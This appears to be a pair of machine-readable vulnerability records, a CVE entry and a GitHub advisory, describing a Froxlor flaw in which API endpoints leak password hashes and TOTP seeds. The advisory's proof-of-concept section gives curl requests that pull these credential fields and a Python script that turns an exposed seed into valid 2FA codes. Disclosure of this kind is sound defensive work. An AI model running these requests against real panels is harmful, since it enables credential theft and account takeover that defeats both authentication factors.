{
  "affected": [
    {
      "affectedData": [
        {
          "product": "froxlor",
          "vendor": "froxlor",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 2.3.8"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Froxlor is open source server administration software. From 2.3.7 until 2.3.8, the Customers.get, Customers.listing, Admins.get, Admins.listing, Ftps.get, and Ftps.listing API commands in lib/Froxlor/Api/Commands/Customers.php, lib/Froxlor/Api/Commands/Admins.php, and lib/Froxlor/Api/Commands/Ftps.php retrieve full database rows and return them without removing password and data_2fa fields. An authenticated API caller with permission to use these endpoints can obtain customer, administrator, and FTP password hashes as well as Base32-encoded TOTP seeds for administrator and customer accounts. Password hashes can be cracked offline, and TOTP seeds can generate valid second-factor codes until two-factor authentication is reset. Exposure of both values for an account can enable takeover of the hosting panel or hosted resources and can defeat both authentication factors. This issue is fixed in version 2.3.8."
    }
  ],
  "id": "CVE-2026-62988",
  "lastModified": "2026-08-18T21:17:18.077",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "LOW",
          "baseScore": 9.0,
          "baseSeverity": "CRITICAL",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "HIGH",
          "scope": "CHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:L",
          "version": "3.1"
        },
        "exploitabilityScore": 2.3,
        "impactScore": 6.0,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-08-18T21:17:18.077",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/froxlor/froxlor/commit/52a43fb826bb9a058faf9c39feeef7ac4444ceba"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/froxlor/froxlor/commit/8667fa3a4d77d6e322b7b8f7b9edbc1613ab5797"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/froxlor/froxlor/releases/tag/2.3.8"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/froxlor/froxlor/security/advisories/GHSA-7788-ghfq-c6mh"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Received",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-200"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "froxlor/froxlor"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.3.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-62988"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-18T20:48:35Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\nSeveral Froxlor API command classes return sensitive authentication material in JSON API responses. The affected endpoints retrieve full database rows using `SELECT *`, `SELECT alias.*`, or equivalent full-row queries, then return the results directly through `$this-\u003eresponse(...)` without removing credential-related fields.\n\nThe exposed fields include password hashes for customers, administrators, and FTP users, as well as TOTP 2FA seed material for administrator and customer accounts.\n\nThis exposes credential-equivalent data to API clients that should not receive it. Password hashes can be cracked offline and reused for account takeover, while exposed TOTP seeds allow generation of valid 2FA codes for affected accounts. When both a password hash and TOTP seed are exposed for the same account, the vulnerability can defeat both authentication factors if the password hash is cracked or the password is otherwise obtained.\n\n## Details\n\nThe affected API classes retrieve entire database rows and return them without filtering sensitive fields:\n\n### `lib/Froxlor/Api/Commands/Customers.php`\n\n`Customers.get()` and `Customers.listing()` select and return customer rows containing sensitive fields, including:\n\n* `password`\n* `type_2fa`\n* `data_2fa`\n\nWhen `type_2fa = 2`, the `data_2fa` value represents the Base32-encoded TOTP seed used by the customer\u0027s authenticator application.\n\nThe result is returned through `$this-\u003eresponse($result)` or `$this-\u003eresponse([\u0027list\u0027 =\u003e $result])` without removing these fields.\n\n### `lib/Froxlor/Api/Commands/Admins.php`\n\n`Admins.get()` and `Admins.listing()` return administrator rows containing sensitive fields, including:\n\n* `password`\n* `type_2fa`\n* `data_2fa`\n\nWhen `type_2fa = 2`, the `data_2fa` value represents the Base32-encoded TOTP seed used by the administrator\u0027s authenticator application.\n\nThese fields are not stripped before returning the API response.\n\n### `lib/Froxlor/Api/Commands/Ftps.php`\n\n`Ftps.get()` and `Ftps.listing()` return FTP user rows containing:\n\n* `password`\n\nThe password field is not stripped before returning the API response.\n\nThis behavior appears inconsistent with Froxlor\u0027s existing safe response patterns. For example, other API command classes explicitly remove password-related fields before returning responses. This indicates that credential material and sensitive internal fields are already treated as non-response data in other parts of the product.\n\n## Proof of Concept\n\n### Preconditions\n\n* Froxlor API is enabled.\n* A valid API key and secret exist for an account allowed to call the affected API endpoints.\n* At least one customer or administrator account exists with TOTP 2FA enabled.\n* For `Admins.*`, the API account must have the required permission to call the affected administrator endpoint.\n\nSet variables:\n\n```bash\nexport FROXLOR_BASE=\u0027https://froxlor.example.com\u0027\nexport API_KEY=\u0027\u003capi_key\u003e\u0027\nexport API_SECRET=\u0027\u003capi_secret\u003e\u0027\n```\n\n### PoC 1: Customer password hash and TOTP seed exposure\n\n```bash\ncurl -k -sS -u \"$API_KEY:$API_SECRET\" \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -X POST \\\n  -d \u0027{\"command\":\"Customers.listing\",\"params\":{}}\u0027 \\\n  \"$FROXLOR_BASE/api.php\" | jq \u0027.data.list[] | {customerid, loginname, password, type_2fa, data_2fa, email}\u0027\n```\n\nExample vulnerable response:\n\n```json\n{\n  \"customerid\": 1,\n  \"loginname\": \"customer1\",\n  \"password\": \"$2y$12$REDACTED_HASH_VALUE...\",\n  \"type_2fa\": 2,\n  \"data_2fa\": \"REDACTED_BASE32_TOTP_SEED\",\n  \"email\": \"customer@example.com\"\n}\n```\n\nThe same issue can be verified with `Customers.get`:\n\n```bash\ncurl -k -sS -u \"$API_KEY:$API_SECRET\" \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -X POST \\\n  -d \u0027{\"command\":\"Customers.get\",\"params\":{\"id\":1}}\u0027 \\\n  \"$FROXLOR_BASE/api.php\"\n```\n\n### PoC 2: Administrator password hash and TOTP seed exposure\n\n```bash\ncurl -k -sS -u \"$API_KEY:$API_SECRET\" \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -X POST \\\n  -d \u0027{\"command\":\"Admins.listing\",\"params\":{}}\u0027 \\\n  \"$FROXLOR_BASE/api.php\" | jq \u0027.data.list[] | {adminid, loginname, password, type_2fa, data_2fa}\u0027\n```\n\nExample vulnerable response:\n\n```json\n{\n  \"adminid\": 1,\n  \"loginname\": \"admin\",\n  \"password\": \"$2y$12$REDACTED_HASH_VALUE...\",\n  \"type_2fa\": 2,\n  \"data_2fa\": \"REDACTED_BASE32_TOTP_SEED\"\n}\n```\n\nThe same issue can be verified with `Admins.get`:\n\n```bash\ncurl -k -sS -u \"$API_KEY:$API_SECRET\" \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -X POST \\\n  -d \u0027{\"command\":\"Admins.get\",\"params\":{\"id\":1}}\u0027 \\\n  \"$FROXLOR_BASE/api.php\"\n```\n\n### PoC 3: FTP password hash exposure\n\n```bash\ncurl -k -sS -u \"$API_KEY:$API_SECRET\" \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -X POST \\\n  -d \u0027{\"command\":\"Ftps.listing\",\"params\":{}}\u0027 \\\n  \"$FROXLOR_BASE/api.php\" | jq \u0027.data.list[] | {id, username, password}\u0027\n```\n\nExample vulnerable response:\n\n```json\n{\n  \"id\": 1,\n  \"username\": \"customer1\",\n  \"password\": \"$2y$12$REDACTED_HASH_VALUE...\"\n}\n```\n\nThe same issue can be verified with `Ftps.get`:\n\n```bash\ncurl -k -sS -u \"$API_KEY:$API_SECRET\" \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -X POST \\\n  -d \u0027{\"command\":\"Ftps.get\",\"params\":{\"id\":1}}\u0027 \\\n  \"$FROXLOR_BASE/api.php\"\n```\n\n### PoC 4: Generate a valid TOTP code from the exposed seed\n\nIf `type_2fa = 2`, the exposed `data_2fa` value can be used to generate valid TOTP codes for the affected account.\n\n```bash\nexport TOTP_SEED=\u0027\u003cbase32_totp_seed_from_data_2fa\u003e\u0027\n\npython3 - \u003c\u003c\u0027PY\u0027\nimport base64\nimport hashlib\nimport hmac\nimport os\nimport struct\nimport time\n\nseed = os.environ[\"TOTP_SEED\"].replace(\" \", \"\").upper()\nkey = base64.b32decode(seed + \"=\" * ((8 - len(seed) % 8) % 8))\n\ncounter = int(time.time() // 30)\nmsg = struct.pack(\"\u003eQ\", counter)\n\ndigest = hmac.new(key, msg, hashlib.sha1).digest()\noffset = digest[-1] \u0026 0x0F\ncode = struct.unpack(\"\u003eI\", digest[offset:offset + 4])[0] \u0026 0x7fffffff\n\nprint(str(code % 1000000).zfill(6))\nPY\n```\n\nThe generated six-digit value is a valid TOTP code for the affected account during the current TOTP time window.\n\n### Expected behavior\n\nAPI responses should never include password hashes, TOTP seeds, or other credential-equivalent authentication material in normal `get` or `listing` responses.\n\nAt minimum, the following fields should be omitted or redacted before returning API responses:\n\n* `password`\n* `data_2fa`\n* any future credential-equivalent secret fields\n\n## Impact\n\nAn authenticated API user can retrieve credential material for accounts visible through the affected endpoints.\n\nFor password hashes, an attacker can perform offline cracking. If a weak or reused password is recovered, the attacker can authenticate as the affected customer, administrator, or FTP user. This may lead to unauthorized access to the hosting panel, FTP file access, hosted website modification, mail or database management, and lateral movement inside a shared-hosting environment.\n\nFor TOTP 2FA seeds, an attacker can generate valid one-time codes for affected administrator or customer accounts. TOTP seeds are long-lived secrets and remain valid until 2FA is reset. Exposure of `data_2fa` therefore weakens or bypasses the second authentication factor for affected accounts.\n\nThe combined impact is especially severe when both `password` and `data_2fa` are exposed for the same administrator or customer account. In that case, an attacker can attempt to crack the password hash offline and then use the exposed TOTP seed to generate valid 2FA codes, defeating both factors of authentication.\n\nAdministrator credential material is particularly sensitive because compromise of an administrator account may allow privileged panel actions and access to server-level or customer-level hosting configuration. Customer and FTP credential material is also sensitive because it may allow unauthorized access to hosted content and account-specific resources.\n\n## Remediation\n\nAPI responses should be built from explicit allowlists of safe response fields instead of returning full database rows. Sensitive fields such as `password` and `data_2fa` should never be included in normal `get` or `listing` responses.\n\nAs a tactical fix, remove or redact credential-equivalent fields before calling `$this-\u003eresponse(...)` in the affected API command classes.\n\nAs an architectural fix, introduce centralized response serialization for API models so that sensitive fields are consistently excluded across all endpoints. This should include password hashes, TOTP seeds, recovery secrets, API secrets, tokens, private keys, and any future authentication material.\n\nBecause TOTP seeds may have been exposed, affected installations should consider requiring 2FA reset or rotation for accounts whose `data_2fa` values may have been returned through vulnerable API responses.",
  "id": "GHSA-7788-ghfq-c6mh",
  "modified": "2026-08-18T20:48:35Z",
  "published": "2026-08-18T20:48:35Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/froxlor/froxlor/security/advisories/GHSA-7788-ghfq-c6mh"
    },
    {
      "type": "WEB",
      "url": "https://github.com/froxlor/froxlor/commit/52a43fb826bb9a058faf9c39feeef7ac4444ceba"
    },
    {
      "type": "WEB",
      "url": "https://github.com/froxlor/froxlor/commit/8667fa3a4d77d6e322b7b8f7b9edbc1613ab5797"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/froxlor/froxlor"
    },
    {
      "type": "WEB",
      "url": "https://github.com/froxlor/froxlor/releases/tag/2.3.8"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Froxlor: Credential and 2FA secret disclosure via Froxlor API endpoints"
}